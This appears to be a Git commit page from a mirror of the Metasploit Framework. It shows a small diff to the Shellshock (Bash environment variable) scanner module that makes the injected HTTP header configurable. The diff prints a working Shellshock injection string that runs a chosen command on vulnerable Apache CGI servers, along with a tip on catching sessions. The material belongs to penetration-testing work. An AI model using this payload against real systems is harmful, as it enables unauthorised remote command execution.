infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Add variable HTTP header 

Also switch from OptEnum to OptString for flexibility.
bug/bundler_fix
William Vu 2014-09-27 12:26:48 -05:00
parent f66c854ad6
commit 044eeb87a0
No known key found for this signature in database
GPG Key ID: E761DCB4C1629024
1 changed files with 6 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb
View File

@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
'Description' => %q{ 'Description' => %q{
This module exploits a code injection in specially crafted environment This module exploits a code injection in specially crafted environment
variables in Bash, specifically targeting Apache mod_cgi scripts through variables in Bash, specifically targeting Apache mod_cgi scripts through
the HTTP_USER_AGENT variable. the HTTP_USER_AGENT variable by default.
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
CMD, set ExitOnSession false, run -j, and then run this module to create CMD, set ExitOnSession false, run -j, and then run this module to create
@ -38,8 +38,8 @@ class Metasploit4 < Msf::Auxiliary
register_options([ register_options([
OptString.new('TARGETURI', [true, 'Path to CGI script']), OptString.new('TARGETURI', [true, 'Path to CGI script']),
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
['GET', 'POST']]), OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
OptString.new('CMD', [true, 'Command to run (absolute paths required)', OptString.new('CMD', [true, 'Command to run (absolute paths required)',
'/usr/bin/id']) '/usr/bin/id'])
], self.class) ], self.class)
@ -83,7 +83,9 @@ class Metasploit4 < Msf::Auxiliary
send_request_cgi( send_request_cgi(
'method' => datastore['METHOD'], 'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path), 'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;};echo #{@marker}$(#{cmd})#{@marker}" 'headers' => {
datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
}
) )
end end